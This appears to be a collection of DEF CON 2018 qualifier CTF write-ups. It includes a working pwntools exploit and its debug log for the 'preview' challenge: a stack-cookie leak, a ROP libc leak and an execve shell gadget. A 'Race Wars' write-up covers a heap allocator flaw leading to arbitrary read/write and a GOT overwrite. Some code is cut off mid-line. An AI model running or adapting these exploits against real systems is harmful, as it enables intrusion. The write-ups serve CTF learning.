│HEAD│ ···│····│····│ 85 | 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 86 | * 87 | 00000050 00 00 00 00 00 00 00 00 00 7d b4 c9 af 06 10 b4 │····│····│·}··│····│ 88 | 00000060 00 00 00 00 00 00 00 00 b3 e0 47 9b fc 00 00 00 │····│····│··G·│····│ 89 | 00000070 20 f0 67 9b fc 00 00 00 e0 d9 47 9b fc 00 00 00 │ ·g·│····│··G·│····│ 90 | 00000080 e8 df 47 9b fc 00 00 00 00 00 00 00 00 00 00 00 │··G·│····│····│····│ 91 | 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 92 | * 93 | 000000f0 00 00 00 00 00 00 00 00 00 00 0a │····│····│···│ 94 | 000000fb 95 | [DEBUG] Received 0x5a bytes: 96 | 'fc9b67e000-fc9b67f000 r--p 00000000 00:00 0 \n' 97 | 'fc9b67f000-fc9b680000 rw-p 00000000 00:00 0 \n' 98 | [DEBUG] Received 0x4f bytes: 99 | 00000000 52 65 73 6f 75 72 63 65 20 6e 6f 74 20 66 6f 75 │Reso│urce│ not│ fou│ 100 | 00000010 6e 64 0a 90 96 f3 9c 4b 7f 0a 57 65 6c 63 6f 6d │nd··│···K│··We│lcom│ 101 | 00000020 65 20 74 6f 20 70 72 65 76 69 65 77 20 30 2e 31 │e to│ pre│view│ 0.1│ 102 | 00000030 0a 53 74 61 6e 64 69 6e 67 20 62 79 20 66 6f 72 │·Sta│ndin│g by│ for│ 103 | 00000040 20 79 6f 75 72 20 72 65 71 75 65 73 74 73 0a │ you│r re│ques│ts·│ 104 | 0000004f 105 | fc9b67e000-fc9b67f000 r--p 00000000 00:00 0 106 | fc9b67f000-fc9b680000 rw-p 00000000 00:00 0 107 | Resource not found 108 | 109 | puts@got = 00007f4b9cf39690 110 | [DEBUG] PLT 0x1f7f0 realloc 111 | [DEBUG] PLT 0x1f800 __tls_get_addr 112 | [DEBUG] PLT 0x1f820 memalign 113 | [DEBUG] PLT 0x1f850 _dl_find_dso_for_object 114 | [DEBUG] PLT 0x1f870 calloc 115 | [DEBUG] PLT 0x1f8a0 malloc 116 | [DEBUG] PLT 0x1f8a8 free 117 | [*] '/home/user/ctf/defcon/libc.so.6' 118 | Arch: amd64-64-little 119 | RELRO: Partial RELRO 120 | Stack: Canary found 121 | NX: NX enabled 122 | PIE: PIE enabled 123 | libc = 00007f4b9ceca000 124 | [DEBUG] Sent 0xfb bytes: 125 | 00000000 48 45 41 44 20 00 00 00 00 00 00 00 00 00 00 00 │HEAD│ ···│····│····│ 126 | 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 127 | * 128 | 00000050 00 00 00 00 00 00 00 00 00 7d b4 c9 af 06 10 b4 │····│····│·}··│····│ 129 | 00000060 00 00 00 00 00 00 00 00 16 f2 f0 9c 4b 7f 00 00 │····│····│····│K···│ 130 | 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 131 | * 132 | 000000f0 00 00 00 00 00 00 00 00 00 00 0a │····│····│···│ 133 | 000000fb 134 | [DEBUG] Received 0x12 bytes: 135 | 'Resource not found' 136 | [DEBUG] Received 0x1 bytes: 137 | '\n' 138 | 139 | Welcome to preview 0.1 140 | Standing by for your requests 141 | Resource not found 142 | 143 | [*] Switching to interactive mode 144 | [DEBUG] Sent 0x1 bytes: 145 | 'l' * 0x1 146 | [DEBUG] Sent 0x1 bytes: 147 | 's' * 0x1 148 | [DEBUG] Sent 0x1 bytes: 149 | '\n' * 0x1 150 | [DEBUG] Received 0x5 bytes: 151 | 'flag\n' 152 | flag 153 | [DEBUG] Sent 0x1 bytes: 154 | 'c' * 0x1 155 | [DEBUG] Sent 0x1 bytes: 156 | 'a' * 0x1 157 | [DEBUG] Sent 0x1 bytes: 158 | 't' * 0x1 159 | [DEBUG] Sent 0x1 bytes: 160 | ' ' * 0x1 161 | [DEBUG] Sent 0x1 bytes: 162 | 'f' * 0x1 163 | [DEBUG] Sent 0x1 bytes: 164 | 'l' * 0x1 165 | [DEBUG] Sent 0x1 bytes: 166 | 'a' * 0x1 167 | [DEBUG] Sent 0x1 bytes: 168 | 'g' * 0x1 169 | [DEBUG] Sent 0x1 bytes: 170 | '\n' * 0x1 171 | [DEBUG] Received 0x44 bytes: 172 | 'OOO{ZOMG, WhAT iF order-of-the-overfow IS ddtek?!?!?!? Plot Twist!}\n' 173 | OOO{ZOMG, WhAT iF order-of-the-overfow IS ddtek?!?!?!? Plot Twist!} 174 | [*] Process './fastpow' stopped with exit code 0 (pid 32272) 175 | [*] Closed connection to cee810fa.quals2018.oooverflow.io port 31337 176 | ``` 177 | 178 | [Final exploit script](./preview.py) 179 | -------------------------------------------------------------------------------- /preview/a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/perfectblue/defcon-2018/fdd60c36ae3802aebe2719e3058846f0f0b10972/preview/a -------------------------------------------------------------------------------- /preview/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/perfectblue/defcon-2018/fdd60c36ae3802aebe2719e3058846f0f0b10972/preview/libc.so.6 -------------------------------------------------------------------------------- /preview/preview: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/perfectblue/defcon-2018/fdd60c36ae3802aebe2719e3058846f0f0b10972/preview/preview -------------------------------------------------------------------------------- /preview/preview.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from pwn import * 3 | 4 | import proof_of_work 5 | 6 | live=True 7 | if live: 8 | proc = remote('cee810fa.quals2018.oooverflow.io', 31337) 9 | proc.recvline() 10 | challenge = proc.recvline().strip().split()[-1] 11 | n = int(proc.recvline().strip().split()[-1]) 12 | proc.recvline() 13 | print('Solving challenge: "{}", n: {}'.format(challenge, n)) 14 | solution = proof_of_work.solve_pow(challenge, n) 15 | print('Solution: {} -> {}'.format(solution, proof_of_work.pow_hash(challenge, solution))) 16 | proc.sendline(str(solution)) 17 | p = proc 18 | else: 19 | # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")} 20 | proc = process('./preview') #, env=env) 21 | p = proc 22 | 23 | context.log_level='debug' 24 | 25 | p.sendline('HEAD /proc/self/maps') 26 | p.recvuntil("Here's your preview:\n") 27 | maps = p.recv(timeout=1).split('\n') 28 | def find_map(ident): 29 | for m in maps: 30 | if ident in m and 'r-xp' in m: 31 | return int(m.split('-')[0],16) 32 | return 0 33 | base_mmap = find_map('00:00 0') 34 | base_ldso = find_map('ld-2.23.so' if live else 'ld-2.27.so') # 'ca:01 1969') 35 | stack_cookie = ((base_ldso << 24) | (base_mmap >> 4)) & (0xFFFFFFFFFFFFFFFF) # IT IS A MYSTERY 36 | print 'stack cookie = %016x' % (stack_cookie,) 37 | # print maps 38 | 39 | print 'break *' + hex(base_mmap + 0xfd6) 40 | # gdb.attach(p, 'break *' + hex(base_mmap + 0xfd6) + '\n' + 'continue') 41 | 42 | one_gadget = base_mmap + 0x10b3 # pop rdi; ret 43 | puts_got = base_mmap + 0x202020 44 | puts_plt = base_mmap + 0x9e0 45 | main_addr = base_mmap + 0xfe8 # pop rdi; ret 46 | 47 | # phase1 48 | ovf = 'HEAD ' 49 | ovf += '\x00' * (88 - len(ovf)) 50 | ovf += p64(stack_cookie) 51 | ovf += p64(0) # saved rbp 52 | ovf += p64(one_gadget) # return addr 53 | ovf += p64(puts_got) # rdi 54 | ovf += p64(puts_plt) # puts 55 | ovf += p64(main_addr) # return from puts 56 | 57 | assert len(ovf) < 256 58 | ovf += '\x00' * (250 - len(ovf)) 59 | p.sendline(ovf) 60 | print p.recvuntil('Resource not found\n') 61 | 62 | # leak 63 | leak = u64(p.recvn(6) + '\x00\x00') 64 | print 'puts@got = %016x' % (leak,) 65 | libc = ELF('libc.so.6') 66 | libc.address = leak - libc.symbols['puts'] 67 | print 'libc = %016x' % (libc.address) 68 | 69 | # phase2 70 | ovf = 'HEAD ' 71 | ovf += '\x00' * (88 - len(ovf)) 72 | ovf += p64(stack_cookie) 73 | ovf += p64(0) # saved rbp 74 | ovf += p64(libc.address + 0x45216) # execve(/bin/sh) 75 | assert len(ovf) < 256 76 | ovf += '\x00' * (250 - len(ovf)) 77 | 78 | p.sendline(ovf) 79 | print p.recvuntil('Resource not found\n') 80 | 81 | #rippppp 82 | p.interactive() 83 | -------------------------------------------------------------------------------- /preview/previewlog.txt: -------------------------------------------------------------------------------- 1 | [x] Opening connection to cee810fa.quals2018.oooverflow.io on port 31337 2 | [x] Opening connection to cee810fa.quals2018.oooverflow.io on port 31337: Trying 52.52.107.212 3 | [+] Opening connection to cee810fa.quals2018.oooverflow.io on port 31337: Done 4 | Solving challenge: "ivNoWSyZYl", n: 22 5 | [x] Starting local process './fastpow' 6 | [+] Starting local process './fastpow': pid 32272 7 | Solution: 849294 -> e91045e7af51404a3a6343074f021b15c32a7087ffa867fcb3942f36f9400000 8 | [DEBUG] Sent 0x15 bytes: 9 | 'HEAD /proc/self/maps\n' 10 | [DEBUG] Received 0x16 bytes: 11 | 'Welcome to preview 0.1' 12 | [DEBUG] Received 0x1cc bytes: 13 | '\n' 14 | 'Standing by for your requests\n' 15 | "Here's your preview:\n" 16 | 'b41006a000-b410090000 r-xp 00000000 ca:01 1969 /lib/x86_64-linux-gnu/ld-2.23.so\n' 17 | 'b41028f000-b410290000 r--p 00025000 ca:01 1969 /lib/x86_64-linux-gnu/ld-2.23.so\n' 18 | 'b410290000-b410291000 rw-p 00026000 ca:01 1969 /lib/x86_64-linux-gnu/ld-2.23.so\n' 19 | 'b410291000-b410292000 rw-p 00000000 00:00 0 \n' 20 | 'fc9b47d000-fc9b47f000 r-xp 00000000 00:00 0 \n' 21 | stack cookie = b41006afc9b47d00 22 | break *0xfc9b47dfd6 23 | [DEBUG] Sent 0xfb bytes: 24 | 00000000 48 45 41 44 20 00 00 00 00 00 00 00 00 00 00 00 │HEAD│ ···│····│····│ 25 | 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 26 | * 27 | 00000050 00 00 00 00 00 00 00 00 00 7d b4 c9 af 06 10 b4 │····│····│·}··│····│ 28 | 00000060 00 00 00 00 00 00 00 00 b3 e0 47 9b fc 00 00 00 │····│····│··G·│····│ 29 | 00000070 20 f0 67 9b fc 00 00 00 e0 d9 47 9b fc 00 00 00 │ ·g·│····│··G·│····│ 30 | 00000080 e8 df 47 9b fc 00 00 00 00 00 00 00 00 00 00 00 │··G·│····│····│····│ 31 | 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 32 | * 33 | 000000f0 00 00 00 00 00 00 00 00 00 00 0a │····│····│···│ 34 | 000000fb 35 | [DEBUG] Received 0x5a bytes: 36 | 'fc9b67e000-fc9b67f000 r--p 00000000 00:00 0 \n' 37 | 'fc9b67f000-fc9b680000 rw-p 00000000 00:00 0 \n' 38 | [DEBUG] Received 0x4f bytes: 39 | 00000000 52 65 73 6f 75 72 63 65 20 6e 6f 74 20 66 6f 75 │Reso│urce│ not│ fou│ 40 | 00000010 6e 64 0a 90 96 f3 9c 4b 7f 0a 57 65 6c 63 6f 6d │nd··│···K│··We│lcom│ 41 | 00000020 65 20 74 6f 20 70 72 65 76 69 65 77 20 30 2e 31 │e to│ pre│view│ 0.1│ 42 | 00000030 0a 53 74 61 6e 64 69 6e 67 20 62 79 20 66 6f 72 │·Sta│ndin│g by│ for│ 43 | 00000040 20 79 6f 75 72 20 72 65 71 75 65 73 74 73 0a │ you│r re│ques│ts·│ 44 | 0000004f 45 | fc9b67e000-fc9b67f000 r--p 00000000 00:00 0 46 | fc9b67f000-fc9b680000 rw-p 00000000 00:00 0 47 | Resource not found 48 | 49 | puts@got = 00007f4b9cf39690 50 | [DEBUG] PLT 0x1f7f0 realloc 51 | [DEBUG] PLT 0x1f800 __tls_get_addr 52 | [DEBUG] PLT 0x1f820 memalign 53 | [DEBUG] PLT 0x1f850 _dl_find_dso_for_object 54 | [DEBUG] PLT 0x1f870 calloc 55 | [DEBUG] PLT 0x1f8a0 malloc 56 | [DEBUG] PLT 0x1f8a8 free 57 | [*] '/home/user/ctf/defcon/libc.so.6' 58 | Arch: amd64-64-little 59 | RELRO: Partial RELRO 60 | Stack: Canary found 61 | NX: NX enabled 62 | PIE: PIE enabled 63 | libc = 00007f4b9ceca000 64 | [DEBUG] Sent 0xfb bytes: 65 | 00000000 48 45 41 44 20 00 00 00 00 00 00 00 00 00 00 00 │HEAD│ ···│····│····│ 66 | 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 67 | * 68 | 00000050 00 00 00 00 00 00 00 00 00 7d b4 c9 af 06 10 b4 │····│····│·}··│····│ 69 | 00000060 00 00 00 00 00 00 00 00 16 f2 f0 9c 4b 7f 00 00 │····│····│····│K···│ 70 | 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 71 | * 72 | 000000f0 00 00 00 00 00 00 00 00 00 00 0a │····│····│···│ 73 | 000000fb 74 | [DEBUG] Received 0x12 bytes: 75 | 'Resource not found' 76 | [DEBUG] Received 0x1 bytes: 77 | '\n' 78 | 79 | Welcome to preview 0.1 80 | Standing by for your requests 81 | Resource not found 82 | 83 | [*] Switching to interactive mode 84 | [DEBUG] Sent 0x1 bytes: 85 | 'l' * 0x1 86 | [DEBUG] Sent 0x1 bytes: 87 | 's' * 0x1 88 | [DEBUG] Sent 0x1 bytes: 89 | '\n' * 0x1 90 | [DEBUG] Received 0x5 bytes: 91 | 'flag\n' 92 | flag 93 | [DEBUG] Sent 0x1 bytes: 94 | 'c' * 0x1 95 | [DEBUG] Sent 0x1 bytes: 96 | 'a' * 0x1 97 | [DEBUG] Sent 0x1 bytes: 98 | 't' * 0x1 99 | [DEBUG] Sent 0x1 bytes: 100 | ' ' * 0x1 101 | [DEBUG] Sent 0x1 bytes: 102 | 'f' * 0x1 103 | [DEBUG] Sent 0x1 bytes: 104 | 'l' * 0x1 105 | [DEBUG] Sent 0x1 bytes: 106 | 'a' * 0x1 107 | [DEBUG] Sent 0x1 bytes: 108 | 'g' * 0x1 109 | [DEBUG] Sent 0x1 bytes: 110 | '\n' * 0x1 111 | [DEBUG] Received 0x44 bytes: 112 | 'OOO{ZOMG, WhAT iF order-of-the-overfow IS ddtek?!?!?!? Plot Twist!}\n' 113 | OOO{ZOMG, WhAT iF order-of-the-overfow IS ddtek?!?!?!? Plot Twist!} 114 | [*] Process './fastpow' stopped with exit code 0 (pid 32272) 115 | [*] Closed connection to cee810fa.quals2018.oooverflow.io port 31337 116 | -------------------------------------------------------------------------------- /racewars.md: -------------------------------------------------------------------------------- 1 | # Race Wars 2 | 3 | *This challenge was solved by VoidMercy and cts, VoidMercy doing the dynamic reversing and cts doing the static reversing.* 4 | 5 | **VoidMercy**: We are given a binary. Its functionality is quite boring. It lets you create tires, select chassis, engine, and transmission. Afterwards, you can modify these, and/or race, in which you always lose. 6 | 7 | Lets start with static analysis. The functionality is also quite bland. There are a ton of branches to each of these options, which assigns different values for different chosen options. 8 | 9 | However, there is one big thing of interest you find while reversing. It is the function at 0x400bb6, which is called by all four options, to which values are being assigned. Diving into that function, we quickly find that it serves to allocate memory. There are two branches: if the requested size is greater than 0xfff, then it uses malloc() to allocate memory. However, if it is less, then the binary implements its own malloc implementation with posix_memalign. We also find that for the create tires option, we can control the size, and it mallocs size*32, so we have a controlled malloc size. 10 | 11 | Now, custom heap implementations and heaps in general are a pain to statically reverse, so I begin dynamic analysis. Breaking at 0x400b66 and 0x400bb2, I can view the malloc size request and returned pointer. I tried viewing the heap and structs for any overflows and OOBs, to no avail. Then I tried putting in garbage values for tire malloc sizes, and found that huge values causes malloc to return 0x0 and errors out. However, when putting in huge values, I also noticed that, since it gets multiplied by 32, the bits greater than 32 bits get truncated off. So if I can pass in a size of 0x100000000 to malloc, that gets truncated to 0x00000000. I tried entering the tire size 0x100000000/32, and sure enough, the size passed to malloc is 0x0. 12 | 13 | **cts**: Now, a 0x0 allocation might not seem so bad, but this allocator breaks if you pass it a 0x0 allocation! Why? You have to reverse the allocator. For new allocations: 14 | - Big blocks (0x1000+) are allocated using `malloc` and prepended to a largeblocks linked list. The linked list elements are tags pointing to the blocks so they can be deallocated later, and these tags are allocated on the smallblocks heap. 15 | - Small blocks heap are allocated **sequentially** with no metadata into bins of size 8196. Once a bin runs out of space, a new bin is allocated using `posix_memalign`. 16 | 17 | Suffice it to say, a 0x0 allocation means that the next allocation would lead to the same pointer! Which is exactly what happens when we allocate a transmission. We have found our vulnerability - double pointers. 18 | 19 | Here's an idea of how the heap looks on the inside: 20 | ```C 21 | struct __attribute__((aligned(8))) HeapListElem 22 | { 23 | HeapListElem *flink; 24 | void *block; 25 | }; 26 | struct __attribute__((aligned(8))) HeapDestructorCallback 27 | { 28 | void (__fastcall *funcptr)(void *); 29 | void *param; 30 | HeapDestructorCallback *flink; 31 | }; 32 | struct __attribute__((aligned(8))) HeapBin 33 | { 34 | void *pNextFreeLoc; 35 | uint64_t pEnd; 36 | HeapBin *flink; 37 | uint64_t heapIndex; 38 | uint64_t maxChunkSize; 39 | HeapBin *pFreeHeap; 40 | uint64_t field6; 41 | HeapListElem *largeblocks; 42 | HeapDestructorCallback *pDestructorCallbacks; 43 | uint64_t field9; 44 | char memory[8112]; 45 | }; 46 | ``` 47 | (Note: the HeapDestructorCallback list is never used, so it's not an option to overwrite a function pointer.) 48 | 49 | **VoidMercy**: So what can we do with this? The modifying transmission function sounds like a great read and write primitive, because it has built in functionalities to do that for us as long as gear size is large enough. So, if the gear size struct is also the same pointer as another struct we control, then we can modify gear size to an extremely large number, and gain arbitrary read/write primitive. The tire struct is perfect for this, since we control 8 bytes through editing tires: 50 | 51 | ```C 52 | printf("modify what?\n\t(1) width\n\t(2) aspect ratio\n\t(3) construction\n\t(4) diameter\nCHOICE: "); 53 | __isoc99_scanf("%d", &v5); 54 | if ( v5 == 2 ) 55 | { 56 | printf("new aspect_ratio: ", &v5); 57 | __isoc99_scanf("%d", &v6); //two byte read 58 | printf("tires are now %d aspect\n", (unsigned __int8)v6); 59 | *(_WORD *)(a1 + 2) = v6; //two byte write 60 | goto LABEL_16; 61 | } 62 | ``` 63 | 64 | So we create a tire and transmission that point to the same malloced chunk. Then we modify tire struct to a huge number by changing all four of its options to -1 (aka 0xffff). Then we can view the transmission, and find that we have arbitrary read and write. 65 | 66 | ``` 67 | tires are now 255 thick 68 | Your Tires are: 655356553565535 69 | modify your car 70 | pick: 71 | (1) tires 72 | (2) chassis 73 | (3) engine 74 | (4) transmission 75 | (5) buy new part 76 | (6) RACE! 77 | CHOICE: 4 78 | choice 4 79 | ok, you have a transmission with 18446744073709551615 gears 80 | which gear to modify? 81 | ``` 82 | 83 | With this, we can leak the heap addresses near the transmission struct, and I found one at offset 0x17. With this we can calculate the address of our transmission struct, and gain read to everything. 84 | 85 | Next I leaked libc by reading from putsgot, calculated address of one shot gadget, then overwrote free GOT with it, triggered free, and got a shell. 86 | 87 | ```python 88 | from pwn import * 89 | 90 | def modtire(c, v): 91 | p.recvuntil('CHOICE: ') 92 | p.sendline('1') 93 | p.recvuntil('CHOICE: ') 94 | p.sendline(str(c)) 95 | p.recvuntil(': ') 96 | p.sendline(str(v)) 97 | def twocomp(val): 98 | return 0xffffffffffffffff - val + 1 99 | def pow_hash(challenge, solution): 100 | return hashlib.sha256(challenge.encode('ascii') + struct.pack(' (OOO{Sometimes, the answer is just staring you in the face. We have all been there})\n\nYou already have the flag.\n\nSeriously, if you can read this, then you have the flag.\n\nSubmit it!\n"} 15 | ``` 16 | 17 | ) 18 | 19 | Flag: `OOO{Sometimes, the answer is just staring you in the face. We have all been there}` --------------------------------------------------------------------------------